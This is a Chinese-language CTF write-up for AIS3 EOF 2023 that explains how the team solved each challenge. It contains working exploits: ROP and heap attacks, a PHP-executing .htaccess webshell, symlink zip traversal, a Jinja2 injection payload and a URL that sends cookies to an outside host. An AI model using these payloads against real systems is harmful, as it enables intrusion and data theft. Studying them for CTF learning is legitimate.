# AIS3 EOF 2023 writeup * Team name: PASTA * Team member: * NTU R11922015 林祐丞 * NTU R11922138 蕭彧 ## 1. Pwn ### real rop 題目裡有一個明顯的stack overflow,但空間不大只有0x20的空間可以overflow,扣掉old rbp只剩0x18也就是只有3次rop的空間,所以很大機率是要用one_gadget來get shell。 ```c= #include <unistd.h> int main() { char buf[0x10]; read(0, buf, 0x30); write(1, buf, 0x30); return 0; } ``` 先使用checksec來看一下開的防護。 ![](https://i.imgur.com/D0xdQtb.png) 可以看到pie是enable的,這代表我們不能用本地gadgets的位置直接套用到遠端上,所以我想要先leak出libc的位置,這樣就可以用libc的rop gadgets了,但這就衍生出了第一個問題,這個程式跑完一遍read write就會結束了,所以我剛leak出來的libc位置下一次又會不一樣了,所以我第一步想要做的就是讓程式可以跳回到開頭重複執行。 經過google許多bypass pie的方式後,我查到了雖然pie使每次的base address都不一樣,但是address的最後12位元會是一樣的,也就是說我可以overwrite main function的return adderss的最後12位元來使程式跳到return address的附近,首先就要先看看return address究竟會跳到哪裡。 用gdb可以看到會return到__libc_start_main+243 ![](https://i.imgur.com/8sZX251.png) 查了一下__libc_start_main的spec,可以看到第一個參數($rdi)是傳入main function 的starting address ```c= int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); ``` 經過trace __libc_start_main 的 assembly code後,我發現rdi會被push到rsp+0x18的位置,所以__libc_start_main+241的call指令就是call main function,所以我只要跳到__libc_start_main+217就可以再重新執行一次main function,而這個跳的距離也在pie不會改到的範圍內,只需要把__libc_start_main+243的address的最後一個byte從0x83蓋成0x69就可以了。 ![](https://i.imgur.com/DXEFaaf.png) 能讓程式重複執行後,下一步就是leak出libc的address,而這個十分簡單,因為__libc_start_main就是在libc內,只要減掉他在libc的offset就可以得到libc的base address,最後就是找到適當的one_gadget就可以直接get shell了。 我用的是紅框框起來的one_gadget,因為r15從頭到尾都是NULL,因此只要找`pop r12;ret`的gadget就可以了,這樣也剛好在只能用3次rop的限制內 ![](https://i.imgur.com/sdiEFix.jpg) 最後附上完整的exploit ```python= from pwn import * context.arch = 'amd64' p = remote('edu-ctf.zoolab.org', 10014) # buf old_rbp overflow buf = '\x31'*0x10 + '\x00'*0x8 + '\x69' p.send(buf) print(p.recv(0x18)) libc = u64(p.recv(0x8)) - 147561 pop_r12_ret = libc + 0x2f709 execve = libc + 0xe3afe print('libc: ', hex(libc)) p.recv(0x10) ROP = flat( 0, 0, 0, pop_r12_ret, 0, execve ) p.send(ROP) p.interactive() ``` ### superums 這題是heap選單題,但我快速的掃過一次後發現裡面既沒有UAF也沒有明顯的heap overflow,甚至限制了note size的大小要小於0x78讓我不能輕鬆的free到unsorted bin去,但可以看到他Note的struct在記錄size的地方剛好是free chunk fd的位置 ```c= struct Note { unsigned short size; char *data; }; ``` 所以我可以將它free完之後,讓size的值變成fd的值,之後再重新拿回這塊記憶體然後直接執行edit_data()來overflow吧? 結果沒這麼簡單,因為data的位置是tcache key的位置,所以在free後會先被key蓋掉,而再重新malloc後key的欄位會被清零,edit_data()看到你的data pointer是NULL就會認為你是第一次執行edit而重新malloc data且更新size,可以看到下面第11行的if statement就是在check這件事 ```c= void edit_data() { unsigned short idx; unsigned short size; idx = get_idx(); if (!notes[idx]) printf("no, no ...\n"), exit(1); size = get_size(); if (!notes[idx]->data) { notes[idx]->data = malloc(size); notes[idx]->size = size; } if (size > notes[idx]->size) printf("no, no ...\n"), exit(1); read(0, notes[idx]->data, size); printf("success!\n"); } ``` 後來通靈了一下想到了fastbin沒有key這個欄位,所以我只要free進fastbin就可以用我上面提及的方法成功繞過size的限制了!在堆了7個chunk進tcache後,我free一個帶有data的note,這樣做的目的是在繞過size的限制時同時data的pointer會指向heap上的chunk,在重新malloc時我將7號note malloc到size是fd的值且data pointer指向8號note。至此,我不僅可以做到heap overflow,也達到的任意寫的功能,因為我可以overflow到8號note的data pointer去讓他指向任何我想寫的地方,也順便解決了data size不能超過0x78的限制(get_size()會擋掉),再來我需要去得到libc的地址來讓我得到free_hook的地址。 首先,我先用show_notes()來leak出了heap上的地址,因為7號note的data pointer指向8號note,而8號note的size欄位剛好是之前遺留下來的fd,得到的heap上的地址後,就可以開始發揮我任意寫的功能,但這時遇到了一個大難題,在不能簡單free到unsorted bin的情況下到底怎麼得到libc的地址? 我一開始是直接去把一個note的size硬寫成0x420後再把它free掉,想說這樣就會進到unsorted bin了吧,但執行起來總是會有error,後來用gdb一看才發現把Top chuck的結構給破壞掉了,因此後來經過很久的思(通)考(靈)後想到我可以用一堆notes的data來堆成一個連起來有0x420的chunks們,再把第一個chunk的size改成0x420後free掉,這樣就可以讓它進入到unsorted bins了!!! 最後把8號note的data pointer指到unsorted bins的fd上並用show_notes()讀出來,就得到了libc的地址,接下來就是用我任意寫的功能去把system寫到free_hook,free掉一個data是'/bin/sh\x00'的note就成功get shell了。 ### how2know_revenge 這題跟作業的how2know一樣禁止了幾乎全部的syscall剩下exit和exit_group,因此只能用執行時間的長短來逐個bit的去判斷,跟作業不同的地方在這題需要使用rop,所以我大部分的時間都花在找gadgets上面。 首先需要知道一個bit是0或1,我使用的判斷方法是用將想要知道的bit and對應的數字,舉個例子,我想知道一個byte的最低位的bit是0或1,我會把這個byte跟0x00000001做and,結果是0的話這個bit就是0,反之這個bit就是1。 之後我使用cmp和jne來控制程式的flow,我把and完的結果跟0做cmp,如果這個bit是0的話jne就會跳到程式中的一個位置,這邊的位置是哪裡都可以目的是為了讓程式盡快結束,而如果這個bit是1的話,則不會執行jne,反而會掉入我設計的無窮迴圈(反覆push和pop stack),設置好timeout後就可以用執行時間的長短來判斷是0或1了。 這邊附上我有用到的ROP gadgets ```python= pop_rax = 0x458237 # pop rax ; ret movzx_eax_rax = 0x4282f3 # movzx eax, byte ptr [rax] ; ret push_rdi = 0x43a93e # push rdi ; ret pop_rdi = 0x401812 # pop rdi ; ret pop_rsi = 0x402798 # pop rsi ; ret and_cmp_jne = 0x48715a # and eax, esi ; cmp rdi, rax ; jne 0x487168 ; pop rbx ; ret ``` 以及最後的payload,flag_addr是flag在bss section的address,byte_offset是目前要爆破的byte,bit_offset是目前要爆破的bit ```python= payload = flat( 0, 0, 0, 0, 0, pop_rax, flag_addr + byte_offset, movzx_eax_rax, pop_rsi, 2**bit_offset, pop_rdi, 0, and_cmp_jne, 0, pop_rdi, 0x43a93e, push_rdi, ) ``` ## 2. Web ### Share 這題能夠上傳任意的 zip 檔案到網站上,上傳後會被解壓縮到 static 底下同使用者名稱的資料夾,看了以下這篇文章後,我得知只要在 zip 參數中加上 `--symlink`,就能夠將軟連結壓縮並上傳到網站上,並透過軟連結讀取到 server 中任意位置的檔案。 我壓縮了一個指向 `/` 的軟連結並上傳,並透過數次嘗試發現位於根目錄底下的 `flag.txt`。 [CTF赛题分析之 Flask 目录穿越](https://zhuanlan.zhihu.com/p/436692644) ### Gist 本題允許使用者上傳一個檔案,檔案會獨立放在一個資料夾底下,但題目又不允許所有與 php 相關的 file extension,因此,如果要讓上傳的檔案被當成 php 腳本執行,必須要上傳一個 .htaccess 檔案並新增規則,讓 apache 可以把 .htacess 當成 php 腳本執行。 然而,由於題目中禁止檔案中有 php 字樣,因此有兩個困難點要克服。 * php 以 `<?php` 與 `?>` 作為執行的開頭與結束 當 short_open_tag 為 On, `<?php` 就可以以 `<?` 替代。 * .htaccess 中 php 對應的 Handler php 對應的 handler `application/x-httpd-php` 也有 php 字樣,經由多次嘗試後發現在 h 的前面加上一個斜線就可以繞過黑名單,並成功被當成 php 腳本執行。 解決以上的兩個問題後,我撰寫了以下檔案並上傳到網站上 ```config <FilesMatch ".htaccess$"> # apaache 預設不能讀取 .ht 開頭的檔案,需要這一行來解除限制 Require all granted SetHandler application/x-httpd-p\hp </FilesMatch> # <? system('cat /flag.txt /flag.txt'); ?> ``` ### Trust 乍看之下會以為網站只提供簡單的字串置換功能,但實際上不然,網址中的 keypath 與 valuepath 兩個參數經由 get 函數後能讀取到 `document.all` 底下的任意屬性。 本題的目標是 `document.cookie`,經由研究後發現 ```doucument.all``` 底下都是類似 dom 的屬性,並發現他們有 ```parentNode``` 可以逐步往 dom 的頂端走,並且 dom 的頂端是 ```document```,進而就能得到 ```document.cookie```。 將 valuepath 修改成 `container/parentNode/parentNode/parentNode/parentNode/cookie` 後,就能成功在網頁上顯示 cookie。 接著,我們需要將 cookie 送到外部,由於這題有使用 dompurify 來過濾 innerHTML 的內容,因此,我直接將 cookie 嵌在 img tag 的 src 屬性中,讓他被當成正常網址的參數被一同送到外部,最終得到 flag。 以下是我傳給 report 的 url ```url https://trust.ctf.zoolab.org/render? html=<img src="https://qwer123.free.beeceptor.com/?c={{name}}">& key=name&value=123& keypath=key/value& valuepath=container/parentNode/parentNode/parentNode/parentNode/cookie ``` 註:https://qwer123.free.beeceptor.com 是我用來接收 flag 的外部網站 ## ## 3. Misc ### Execgen 經由上網查詢後找到以下的文章,參考後透過以下的 payload 得到 flag ```bash /usr/bin/env -S cat /home/chal/flag ``` [Multiple arguments in shebang](https://unix.stackexchange.com/questions/399690/multiple-arguments-in-shebang) ## 4. Crypto ### Hex 本題需要解出轉換成 token,並且 token 本身轉成 hex 形式後剛好為 16 bytes,與 AES 的一個 block 一樣大 這題提供一個解密機,解密後能知道字元是否落在 hex 的範圍內,透過這個機制,我們可以透過以下的方式得到 flag 對於 iv 中的每個 byte 1. 假設這個 byte 為 hex 中的某一個成員 2. 將這個位置對應 IV 的 byte xor 自己,再 xor 成 16 個不同的 hex 成員並送到解密機中,如果解密機的結果都是 "Well Received",則代表猜測正確,反之則代表猜測錯誤 經由多次的嘗試後,就能夠拚湊出原本的 token ```python from pwn import * p = remote('eof.ais3.org', 10050) iv = bytes.fromhex(p.recv(32).decode()) enc= bytes.fromhex(p.recv(32).decode()) assert(p.recv(1) == b'\n') p.recvuntil(b': ') sha=bytes.fromhex(p.recvline(False).decode()) print(sha.hex()) s = b'0123456789abcdef' for i in range(16): pre_iv = iv[:i] tgt_iv = iv[i] pos_iv = iv[i+1:] for guess in s: # print(guess) m = tgt_iv ^ guess for n in s: p.recvuntil(b'Exit\n') p.sendline(b'1') p.recvuntil(b'(hex): ') n ^= m payload = pre_iv + n.to_bytes(1, 'little') + pos_iv + enc p.sendline(payload.hex().encode()) if p.recvline() != b'Well received\n': break else: print(chr(guess), end='', flush=True) break print(guess) p.interactive() ``` ## 5. Revenge ### water 這題跟washer的差別只差在編譯的參數不一樣,但posix_spawn就不會執行我們的file了,真奇怪,我自己試著編譯發現只要有加-fsanitize=address,posix_spawn就會正常執行我們的file,但我到解完題目還是不知道為什麼會這樣QQ 這題有標上pwn的標籤,所以我先試著尋找程式有沒有任何buffer overflow的地方,一找就發現了scanf有很明顯的buffer overflow,他是使用%s來讀取字串,所以只要我的input超過100且沒有'\0'就可以成功stack overflow了! 我的作法是去把filename給蓋成/flag,然後再執行option2也就是讀檔,這樣就可以成功把flag讀出來了,其中我放入了'#'在input裡,目的是為了讓我的input validate失敗,這樣就可以避免把我的input寫到/flag裡面,把下面這串字串餵給option1的input,然後再執行option2的就可以成功把flag讀出來了 ``` #aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/flag ``` ### ShaRCE 與 Share 不同,這題要執行 `/readflag` 才能獲得 flag。 透過 Share 學到的資訊加上動腦筋,我們可以透過兩次上傳來寫入檔案到伺服器上的任意位置。第一次將軟連結上傳到網站上,第二次再將軟連結的位置當成資料夾,並放入想蓋寫的檔案到資料夾中的對應位置並上傳,就能夠達成目標。 透過這樣的手法,我將 app.py 蓋寫卻發現網頁沒有動靜,原因是 app.py 已經被執行起來,因此無論怎麼蓋寫都不會有用。第二次我嘗試蓋寫 index.html 並透過計算機安全 splitline 課堂上所教在本地慢慢試出 jinja2 執行 shell 的程式碼並上傳,最後得到 flag。 上傳的檔案架構如下 ``` # 1.zip 第一次上傳的檔案 app 指向 /app 的軟連結 # 2.zip 第二次上傳的檔案 app 一般的資料夾 |--- template 一般的資料夾 |--- index.html 欲蓋寫的檔案 ``` index.html 檔案內容如下 ```jinja <!-- index.html --> {{ ''.__class__.__mro__[1].__subclasses__()[-60].__init__.__globals__['run'](["/readflag"], capture_output=True).stdout }} ```